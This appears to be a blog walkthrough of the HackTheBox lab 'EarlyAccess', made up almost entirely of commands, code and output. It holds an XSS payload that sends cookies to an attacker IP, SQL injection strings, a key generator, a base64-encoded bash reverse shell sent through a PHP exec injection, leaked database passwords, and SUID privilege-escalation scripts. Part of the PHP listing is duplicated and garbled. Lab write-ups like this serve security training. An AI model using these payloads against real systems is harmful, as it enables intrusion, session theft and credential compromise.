HackTheBox: EarlyAccess | MyJourney

Foothold

sudo nmap -sS -sV -sC -A earlyaccess.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey:| 2048 e4:66:28:8e:d0:bd:f3:1d:f1:8d:44:e9:14:1d:9c:64 (RSA)| 256 b3:a8:f4:49:7a:03:79:d3:5a:13:94:24:9b:6a:d1:bd (ECDSA)|_ 256 e9:aa:ae:59:4a:37:49:a6:5a:2a:32:1d:79:26:ed:bb (ED25519)80/tcp open http Apache httpd 2.4.38|_http-server-header: Apache/2.4.38 (Debian)|_http-title: Did not follow redirect to https://earlyaccess.htb/443/tcp open ssl/ssl Apache httpd (SSL-only mode)|_http-server-header: Apache/2.4.38 (Debian)|_http-title: EarlyAccess| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT| Not valid before: 2021-08-18T14:46:57|_Not valid after: 2022-08-18T14:46:57|_ssl-date: TLS randomness does not represent time| tls-alpn:|_ http/1.1Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (93%)No exact OS matches for host (test conditions non-ideal).Network Distance: 2 hopsService Info: Host: 172.18.0.102; OS: Linux; CPE: cpe:/o:linux:linux_kernel
<script>const xhttp = new XMLHttpRequest(); const ip = "https://10.10.14.140/"; xhttp.open("GET", `${ip}?cookie=${document.cookie}`, true); xhttp.send();</script>

Getting Admin Password

dev.earlyaccess.htbgame.earlyaccess.htb
#!/usr/bin/env python3
import sys
from re import match
class Key:
key = ""
magic_value = "XP" # Static (same on API)
magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)
def __init__(self, key:str, magic_num:int=346):
self.key = key
if magic_num != 0:
self.magic_num = magic_num
@staticmethod
def info() -> str:
return f"""
# Game-Key validator #
Can be used to quickly verify a user's game key, when the API is down (again).Keys look like the following:
AAAAA-BBBBB-CCCC1-DDDDD-1234
Usage: {sys.argv[0]} <game-key>"""def valid_format(self) -> bool:
return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))
def calc_cs(self) -> int:
gs = self.key.split('-')[:-1]
return sum([sum(bytearray(g.encode())) for g in gs])
def g1_valid(self) -> bool:
g1 = self.key.split('-')[0]
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
if r != [221, 81, 145]:
return False
for v in g1[3:]:
try:
int(v)
except:
return False
return len(set(g1)) == len(g1)
def g2_valid(self) -> bool:
g2 = self.key.split('-')[1]
p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
def g3_valid(self) -> bool:
# TODO: Add mechanism to sync magic_num with API
g3 = self.key.split('-')[2]
if g3[0:2] == self.magic_value:
return sum(bytearray(g3.encode())) == self.magic_num
else:
return False
def g4_valid(self) -> bool:
return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]
def cs_valid(self) -> bool:
cs = int(self.key.split('-')[-1])
return self.calc_cs() == cs
def check(self) -> bool:
if not self.valid_format():
print('Key format invalid!')
return False
if not self.g1_valid():
return False
if not self.g2_valid():
return False
if not self.g3_valid():
return False
if not self.g4_valid():
return False
if not self.cs_valid():
print('[Critical] Checksum verification failed!')
return False
return True
if __name__ == "__main__":
if len(sys.argv) != 2:
print(Key.info())
sys.exit(-1)
input = sys.argv[1]
validator = Key(input)
if validator.check():
print(f"Entered key is valid!")
else:
print(f"Entered key is invalid!")
#!/usr/bin/python3
import random
import sys
class Keygen:
key = ""
word = list("ABCDEFGHIJKLMNOPQRSTUVWXYX0123456789")
def __init__(self, magic_num:int=346):
if magic_num != 0:
self.magic_num = magic_num
def key1(self) -> str:
res = [221, 81, 145]
for i, v in enumerate(res):
for ii, vv in enumerate(self.word):
r = (ord(vv)<<i+1)%256^ord(vv)
if r == res[i]:
key = ""
self.key += vv
self.key += "21"
def key2(self):
while True:
new = random.sample(self.word,5)
new = ''.join(new)
p1 = new[::2]
p2 = new[1::2]
if sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())):
self.key += "-"
self.key += new
return
def key3(self):
magic_num = 346
alpha = list("ABCDEFGHIJKLMNOPQRSTUVWXYX")
number = list("0123456789")
for x in alpha:
for y in alpha:
for num in number:
array = "XP{}{}{}".format(x,y,num)
if sum(bytearray(array.encode())) == magic_num:
self.key += "-"
self.key += array
def key4(self):
self.key += "-"
self.key += 'GAMG1'
return
# code below is for bruteforcing the key, it take long time so i'll skip this.
for a in self.word:
for b in self.word:
for c in self.word:
for d in self.word:
for e in self.word:
new = [a,b,c,d,e]
if [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], new)] == [12, 4, 20, 117, 0]:
self.key += "-"
self.key += ''.join(new)
return
def key5(self):
number = list("0123456789")
for a in number:
for b in number:
for c in number:
for d in number:
new = ''.join([a,b,c,d])
gs = self.key.split('-')
if sum([sum(bytearray(g.encode())) for g in gs]) == int(new):
self.key += "-"
self.key += new
return
def generate(self):
self.key1()
self.key2()
self.key3()
self.key4()
self.key5()
return self.key
key = Keygen()
print(key.generate())
#!/usr/bin/python3
import random
import sys
class Keygen:
key = ""
number = list("0123456789")
state = ""
def key3(self):
alpha = list("ABCDEFGHIJKLMNOPQRSTUVWXYX")
number = list("0123456789")
magic_num = 300
while magic_num <= 500:
magic_num += 1
for x in alpha:
for y in alpha:
for num in number:
self.key = ""
array = "XP{}{}{}".format(x,y,num)
self.key += "KEY21-7M5W8-"
if sum(bytearray(array.encode())) == magic_num:
self.key += array
self.key5()
def key5(self):
self.key += "-GAMG1"
number = list("0123456789")
for a in number:
for b in number:
for c in number:
for d in number:
new = ''.join([a,b,c,d])
gs = self.key.split('-')
if sum([sum(bytearray(g.encode())) for g in gs]) == int(new):
self.key += "-"
self.key += new
if not self.key.split('-')[-1] == self.state:
print(self.key)
self.state = new
self.key = ""
def generate(self):
self.key3()
key = Keygen()
key.generate()
user') union select 1,2,3-- -
user') union select 1,2,(select group_concat(email, '||', password) from users)-- -
hashcat -m 100 hash /usr/share/wordlists/rockyou.txtusername : admin@earlyaccess.htbpassword : gameover

Getting RCE / Shell

dirsearch -u <http://dev.earlyaccess.htb> --cookie="PHPSESSID=ce5ea31d8ac74925514ef07dc7ef7f72"Target: <http://dev.earlyaccess.htb/>[00:37:22] Starting:
[00:37:58] 301 - 328B - /actions -> <http://dev.earlyaccess.htb/actions/>
[00:38:20] 301 - 327B - /assets -> <http://dev.earlyaccess.htb/assets/>
[00:38:20] 403 - 284B - /assets/
[00:38:44] 302 - 4KB - /home.php -> /index.php
[00:38:47] 301 - 329B - /includes -> <http://dev.earlyaccess.htb/includes/>
[00:38:47] 403 - 284B - /includes/
[00:38:47] 200 - 3KB - /index.php
[00:38:47] 200 - 3KB - /index.php/login/
[00:39:16] 403 - 284B - /server-status
[00:39:16] 403 - 284B - /server-status/
dirsearch -u <http://dev.earlyaccess.htb/actions> --cookie="PHPSESSID=ce5ea31d8ac74925514ef07dc7ef7f72"Target: <http://dev.earlyaccess.htb/actions/>[00:41:07] Starting:
[00:42:34] 500 - 35B - /actions/file.php
[00:42:54] 302 - 0B - /actions/login.php -> /index.php
[00:42:55] 302 - 0B - /actions/logout.php -> /home.php
ffuf -u http://dev.earlyaccess.htb/actions/file.php?FUZZ -b "PHPSESSID=ce5ea31d8ac74925514ef07dc7ef7f72" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all -fw 3
<?php
include_once "../includes/session.php";
function hash_pw($hash_function, $password)
{
// DEVELOPER-NOTE: There has gotta be an easier way...
ob_start();
// Use inputted hash_function to hash password
$hash = @$hash_function($password);
ob_end_clean();
return $hash;
}
try
{
if(isset($_REQUEST['action']))
{
if($_REQUEST['action'] === "verify")
{
// VERIFIES $password AGAINST $hash
if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
{
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");
$hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);$_SESSION['verify'] = ($hash === $_REQUEST['hash']);
header('Location: /home.php?tool=hashing');
return;
}
}
elseif($_REQUEST['action'] === "verify_file")
{
//TODO: IMPLEMENT FILE VERIFICATION
}
elseif($_REQUEST['action'] === "hash_file")
{
//TODO: IMPLEMENT FILE-HASHING
}
elseif($_REQUEST['action'] === "hash")
{
// HASHES $password USING $hash_function
if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
{
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");
$hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
if(!isset($_REQUEST['redirect']))
{
echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
echo '<br>' . $hash;
return;
}
else
{
$_SESSION['hash'] = $hash;
header('Location: /home.phpbase64: invalid input
($_REQUEST['action'] === "hash")
{
// HASHES $password USING $hash_function
if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
{
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");
$hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
if(!isset($_REQUEST['redirect']))
{
echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
echo '<br>' . $hash;
return;
}
else
{
$_SESSION['hash'] = $hash;
header('Location: /home.php')
function hash_pw($hash_function, $password)
{
// DEVELOPER-NOTE: There has gotta be an easier way...
ob_start();
// Use inputted hash_function to hash password
$hash = @$hash_function($password);
ob_end_clean();
return $hash;
}
action=hash&password=echo+L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE0MC80NTQ1IDA+JjEnCg==|base64+-d|bash&hash_function=exec&debug=true
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.140/4545 0>&1'

Escaping From Docker Container

user : www-admpass : gameover
python3 -c "import pty; pty.spawn('/bin/bash')"
{
"message": {
"AppArmorProfile": "docker-default",
"Args": [
"--character-set-server=utf8mb4",
"--collation-server=utf8mb4_bin",
"--skip-character-set-client-handshake",
"--max_allowed_packet=50MB",
"--general_log=0",
"--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES"
],
"Config": {
"AttachStderr": false,
"AttachStdin": false,
"AttachStdout": false,
"Cmd": [
"--character-set-server=utf8mb4",
"--collation-server=utf8mb4_bin",
"--skip-character-set-client-handshake",
"--max_allowed_packet=50MB",
"--general_log=0",
"--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES"
],
"Domainname": "",
"Entrypoint": [
"docker-entrypoint.sh"
],
"Env": [
"MYSQL_DATABASE=db",
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
"SERVICE_TAGS=dev",
"SERVICE_NAME=mysql",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.12",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.25-1debian10"
],
"ExposedPorts": {
"3306/tcp": {},
"33060/tcp": {}
},
"Healthcheck": {
"Interval": 5000000000,
"Retries": 3,
"Test": [
"CMD-SHELL",
"mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent"
],
"Timeout": 2000000000
},
"Hostname": "mysql",
"Image": "mysql:latest",
"Labels": {
"com.docker.compose.config-hash": "947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "app",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/app",
"com.docker.compose.service": "mysql",
"com.docker.compose.version": "1.29.1"
},
"OnBuild": null,
"OpenStdin": false,
"StdinOnce": false,
"Tty": true,
"User": "",
"Volumes": {
"/docker-entrypoint-initdb.d": {},
"/var/lib/mysql": {}
},
"WorkingDir": ""
},
"Created": "2021-09-17T05:16:35.784843153Z",
"Driver": "overlay2",
"ExecIDs": null,
"GraphDriver": {
"Data": {
"LowerDir": "/var/lib/docker/overlay2/57bcc32d0dd4414dc0b9c0e8df2217348990b080f35332701c30ac6d0bca6562-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff",
"MergedDir": "/var/lib/docker/overlay2/57bcc32d0dd4414dc0b9c0e8df2217348990b080f35332701c30ac6d0bca6562/merged",
"UpperDir": "/var/lib/docker/overlay2/57bcc32d0dd4414dc0b9c0e8df2217348990b080f35332701c30ac6d0bca6562/diff",
"WorkDir": "/var/lib/docker/overlay2/57bcc32d0dd4414dc0b9c0e8df2217348990b080f35332701c30ac6d0bca6562/work"
},
"Name": "overlay2"
},
"HostConfig": {
"AutoRemove": false,
"Binds": [
"app_vol_mysql:/var/lib/mysql:rw",
"/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro"
],
"BlkioDeviceReadBps": null,
"BlkioDeviceReadIOps": null,
"BlkioDeviceWriteBps": null,
"BlkioDeviceWriteIOps": null,
"BlkioWeight": 0,
"BlkioWeightDevice": null,
"CapAdd": [
"SYS_NICE"
],
"CapDrop": null,
"Cgroup": "",
"CgroupParent": "",
"CgroupnsMode": "host",
"ConsoleSize": [
0,
0
],
"ContainerIDFile": "",
"CpuCount": 0,
"CpuPercent": 0,
"CpuPeriod": 0,
"CpuQuota": 0,
"CpuRealtimePeriod": 0,
"CpuRealtimeRuntime": 0,
"CpuShares": 0,
"CpusetCpus": "",
"CpusetMems": "",
"DeviceCgroupRules": null,
"DeviceRequests": null,
"Devices": null,
"Dns": null,
"DnsOptions": null,
"DnsSearch": null,
"ExtraHosts": null,
"GroupAdd": null,
"IOMaximumBandwidth": 0,
"IOMaximumIOps": 0,
"IpcMode": "private",
"Isolation": "",
"KernelMemory": 0,
"KernelMemoryTCP": 0,
"Links": null,
"LogConfig": {
"Config": {},
"Type": "json-file"
},
"MaskedPaths": [
"/proc/asound",
"/proc/acpi",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",
"/proc/timer_stats",
"/proc/sched_debug",
"/proc/scsi",
"/sys/firmware"
],
"Memory": 0,
"MemoryReservation": 0,
"MemorySwap": 0,
"MemorySwappiness": null,
"NanoCpus": 0,
"NetworkMode": "app_nw",
"OomKillDisable": false,
"OomScoreAdj": 0,
"PidMode": "",
"PidsLimit": null,
"PortBindings": {},
"Privileged": false,
"PublishAllPorts": false,
"ReadonlyPaths": [
"/proc/bus",
"/proc/fs",
"/proc/irq",
"/proc/sys",
"/proc/sysrq-trigger"
],
"ReadonlyRootfs": false,
"RestartPolicy": {
"MaximumRetryCount": 0,
"Name": "always"
},
"Runtime": "runc",
"SecurityOpt": null,
"ShmSize": 67108864,
"UTSMode": "",
"Ulimits": null,
"UsernsMode": "",
"VolumeDriver": "",
"VolumesFrom": []
},
"HostnamePath": "/var/lib/docker/containers/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059/hostname",
"HostsPath": "/var/lib/docker/containers/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059/hosts",
"Id": "ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059",
"Image": "sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287",
"LogPath": "/var/lib/docker/containers/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059-json.log",
"MountLabel": "",
"Mounts": [
{
"Destination": "/var/lib/mysql",
"Driver": "local",
"Mode": "rw",
"Name": "app_vol_mysql",
"Propagation": "",
"RW": true,
"Source": "/var/lib/docker/volumes/app_vol_mysql/_data",
"Type": "volume"
},
{
"Destination": "/docker-entrypoint-initdb.d",
"Mode": "ro",
"Propagation": "rprivate",
"RW": false,
"Source": "/root/app/scripts/init.d",
"Type": "bind"
}
],
"Name": "/mysql",
"NetworkSettings": {
"Bridge": "",
"EndpointID": "",
"Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"HairpinMode": false,
"IPAddress": "",
"IPPrefixLen": 0,
"IPv6Gateway": "",
"LinkLocalIPv6Address": "",
"LinkLocalIPv6PrefixLen": 0,
"MacAddress": "",
"Networks": {
"app_nw": {
"Aliases": [
"mysql",
"ca5245ff06eb"
],
"DriverOpts": null,
"EndpointID": "dc1cf0ce4f443306bda2c07234edeb794084fcb979075021688b6665710ee22c",
"Gateway": "172.18.0.1",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"IPAMConfig": {
"IPv4Address": "172.18.0.100"
},
"IPAddress": "172.18.0.100",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"Links": null,
"MacAddress": "02:42:ac:12:00:64",
"NetworkID": "34735d9e1774107aac31269e5cc3d201a32011aad38cc24e07e0ea3b7423f1b2"
}
},
"Ports": {
"3306/tcp": null,
"33060/tcp": null
},
"SandboxID": "c6154ddd1c63bb531605e9fc323b105f2d2fe7ae71c1114e7e13f91c690e1a11",
"SandboxKey": "/var/run/docker/netns/c6154ddd1c63",
"SecondaryIPAddresses": null,
"SecondaryIPv6Addresses": null
},
"Path": "docker-entrypoint.sh",
"Platform": "linux",
"ProcessLabel": "",
"ResolvConfPath": "/var/lib/docker/containers/ca5245ff06eb00438350abf482789c12571fbd31cdcec103a4deff2a50285059/resolv.conf",
"RestartCount": 0,
"State": {
"Dead": false,
"Error": "",
"ExitCode": 0,
"FinishedAt": "0001-01-01T00:00:00Z",
"Health": {
"FailingStreak": 0,
"Log": [
{
"End": "2021-09-18T09:34:18.234775312+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:18.161104073+02:00"
},
{
"End": "2021-09-18T09:34:23.331586759+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:23.237917879+02:00"
},
{
"End": "2021-09-18T09:34:28.403534159+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:28.334032504+02:00"
},
{
"End": "2021-09-18T09:34:33.482381881+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:33.406296675+02:00"
},
{
"End": "2021-09-18T09:34:38.550375739+02:00",
"ExitCode": 0,
"Output": "mysqladmin: [Warning] Using a password on the command line interface can be insecure.\\nmysqld is alive\\n",
"Start": "2021-09-18T09:34:38.484955796+02:00"
}
],
"Status": "healthy"
},
"OOMKilled": false,
"Paused": false,
"Pid": 1093,
"Restarting": false,
"Running": true,
"StartedAt": "2021-09-17T05:16:39.278882492Z",
"Status": "running"
}
},
"status": 200
}
"Env": [
"MYSQL_DATABASE=db",
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
"SERVICE_TAGS=dev",
"SERVICE_NAME=mysql",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.12",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.25-1debian10"
],
user : drew
pass1 : drew
pass2 : XeoNu86JTznxMCQuGHrGutF3Csq5
user : drew
pass : XeoNu86JTznxMCQuGHrGutF3Csq5

Privilege Escalation

'use strict';var express = require('express');
var ip = require('ip');
const PORT = 9999;
var rounds = 3;
// App
var app = express();
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: true }));
/**
* <https://stackoverflow.com/a/1527820>
*
* Returns a random integer between min (inclusive) and max (inclusive).
* The value is no lower than min (or the next integer greater than min
* if min isn't an integer) and no greater than max (or the next integer
* lower than max if max isn't an integer).
* Using Math.round() will give you a non-uniform distribution!
*/
function random(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min + 1)) + min;
}
/**
* <https://stackoverflow.com/a/11377331>
*
* Returns result of game (randomly determined)
*
*/
function play(player = -1)
{
// Random numbers to determine win
if (player == -1)
player = random(1, 3);
var computer = random(1, 3);
if (player == computer) return 'tie';
else if ((player - computer + 3) % 3 == 1) return 'win';
else return 'loss';
}
app.get('/', (req, res) => {
res.render('index');
});
app.get('/autoplay', (req,res) => {
res.render('autoplay');
});
app.get('/rock', (req,res) => {
res.render('index', {result:play(1)});
});
app.get('/paper', (req,res) => {
res.render('index', {result:play(2)});
});
app.get('/scissors', (req,res) => {
res.render('index', {result:play(3)});
});
app.post('/autoplay', async function autoplay(req,res) {// Stop execution if not number
if (isNaN(req.body.rounds))
{
res.sendStatus(500);
return;
}
// Stop execution if too many rounds are specified (performance issues may occur otherwise)
if (req.body.rounds > 100)
{
res.sendStatus(500);
return;
}
rounds = req.body.rounds;res.write('<html><body>')
res.write('<h1>Starting autoplay with ' + rounds + ' rounds</h1>');
var counter = 0;
var rounds_ = rounds;
var wins = 0;
var losses = 0;
var ties = 0;
while(rounds != 0)
{
counter++;
var result = play();
if(req.body.verbose)
{
res.write('<p><h3>Playing round: ' + counter + '</h3>\\n');
res.write('Outcome of round: ' + result + '</p>\\n');
}
if (result == "win")
wins++;
else if(result == "loss")
losses++;
else
ties++;
// Decrease round
rounds = rounds - 1;
}
rounds = rounds_;
res.write('<h4>Stats:</h4>')
res.write('<p>Wins: ' + wins + '</p>')
res.write('<p>Losses: ' + losses + '</p>')
res.write('<p>Ties: ' + ties + '</p>')
res.write('<a href="/autoplay">Go back</a></body></html>')
res.end()
});
app.listen(PORT, "0.0.0.0");
console.log(`Running on <http://$>{ip.address()}:${PORT}`);
curl localhost:9999/autoplay -X POST --data "rounds=9.2&verbose=true"
2 ssh session on drew account
1 for copying shell file into docker-entrypoint.d directory
1 other for port forwarding so we can run curl to crashed the server
nc listener on host
#!/bin/bash/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.140/4545 0>&1'
chmod +x /tmp/shell.sh
curl localhost:9999/autoplay -X POST --data "rounds=9.2&verbose=true"
echo "cp /bin/bash /docker-entrypoint.d/bash; \\
chown root:root /docker-entrypoint.d/bash; \\
chmod u+s /docker-entrypoint.d/bash; \\
" > exec.sh && chmod +x exec.sh
echo "cp /usr/bin/find /docker-entrypoint.d/find; \\
chown root:root /docker-entrypoint.d/find; \\
chmod u+s /docker-entrypoint.d/find; \\
" > exec.sh && chmod +x exec.sh

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store